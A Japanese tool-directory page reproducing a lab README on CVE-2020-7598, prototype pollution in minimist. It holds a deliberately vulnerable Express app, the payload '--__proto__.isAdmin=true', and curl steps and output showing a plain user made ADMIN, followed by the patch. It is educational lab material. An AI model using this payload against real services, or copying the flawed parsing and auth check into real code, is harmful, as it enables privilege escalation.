Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-7598 | Kitploit
ツール/GitHubGitHub/renewablehacking/cve-2020-7598
静的分析脆弱性分析コード分析ウェブアプリケーション悪用学習と教育ラボと実践
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-7598 - Prototype Pollution in minimist

免責事項

このプロジェクトは以下の目的のみで作成されています:

  • 学習用、
  • セキュリティ研究用、
  • 個人用ローカルラボ用。

許可なくシステムに対して使用しないでください。


CVE について

CVE-2020-7598 は npm パッケージにおける Prototype Pollution の脆弱性です:

  • minimist
  • 影響を受けるバージョン:
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

この脆弱性により、攻撃者は次の値を改ざんできる可能性があります:

root@kitploit:~
Object.prototype

次のようなペイロードを通じて:

root@kitploit:~
--__proto__.isAdmin=true

その結果:

  • JavaScript のすべてのオブジェクトが危険なプロパティを継承する可能性がある、
  • 認証バイパス、
  • 権限昇格、
  • 特定の条件下では RCE に至るチェーン。

Prototype Pollution の仕組み

JavaScript では:

root@kitploit:~
const user = {};

空のオブジェクトでも次の値からプロパティを継承します:

root@kitploit:~
Object.prototype

攻撃者が次の操作に成功すると:

root@kitploit:~
Object.prototype.isAdmin = true;

すると:

root@kitploit:~
({}).isAdmin

は次の値を返します:

root@kitploit:~
true

通常のすべてのオブジェクトに対して。


ラボ環境

依存関係

  • Node.js
  • Express
  • [email protected]

インストール

1. リポジトリのクローン

root@kitploit:~
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. 依存関係のインストール

root@kitploit:~
npm install

または手動で:

root@kitploit:~
npm install express [email protected]

ソースコード

次のファイルを作成します:

root@kitploit:~
app.js

内容:

root@kitploit:~
const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulasi database user
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Endpoint vulnerable
*/
app.get("/parse", (req, res) => {

    /*
      Ambil raw query
    */
    const payload = req.query.payload;

    /*
      Ubah jadi array argument CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Vulnerable parsing
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Login endpoint
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Vulnerable auth logic
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

サーバーの起動

root@kitploit:~
node app.js

出力:

root@kitploit:~
Server running on port 3000

通常のテスト

通常のログイン

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

出力:

root@kitploit:~
{
  "success": true,
  "role": "USER"
}

CVE-2020-7598 の悪用

Prototype Pollution のペイロード

ブラウザで開きます:

root@kitploit:~
http://localhost:3000/parse?payload=--__proto__.isAdmin=true

または curl を使用します:

root@kitploit:~
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

悪用の結果

サーバーのターミナル:

root@kitploit:~
GLOBAL isAdmin: true

つまり:

root@kitploit:~
Object.prototype.isAdmin = true

が正常に改ざんされました。


悪用後のログイン

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

出力:

root@kitploit:~
{
  "success": true,
  "role": "ADMIN"
}

それにもかかわらず:

  • データベースは変更されていない、
  • ソースコードは変更されていない、
  • ユーザーは isAdmin プロパティを持っていない。

なぜ ADMIN になれるのか?

次のコード:

root@kitploit:~
if(user.isAdmin)

はオブジェクトが直接持つプロパティだけをチェックするわけではありません。

JavaScript は次の順序で探索します:

  1. オブジェクト自身のプロパティ、
  2. 次にプロトタイプチェーン。

攻撃者が次の値を改ざんすることに成功したため:

root@kitploit:~
Object.prototype.isAdmin = true

通常のすべてのオブジェクトがそのプロパティを継承します。


Prototype Pollution の証拠

サーバーのログ:

root@kitploit:~
Own property: false
user.isAdmin: true

つまり:

  • isAdmin はユーザーが元々持つプロパティではない、
  • しかしグローバルプロトタイプから継承されている。

パッチ

安全なバージョンの minimist:

root@kitploit:~
npm install minimist@latest

パッチ適用済みバージョンは以下をブロックします:

  • __proto__
  • constructor
  • prototype

そのため、prototype pollution はもはや成功しません。


参照

  • CVE: CVE-2020-7598
  • Package: minimist
  • CWE: CWE-1321 Prototype Pollution

作者

このラボとドキュメントは、Node.js アプリケーションのセキュリティ学習と prototype pollution 研究のために作成されました。

ツールをダウンロード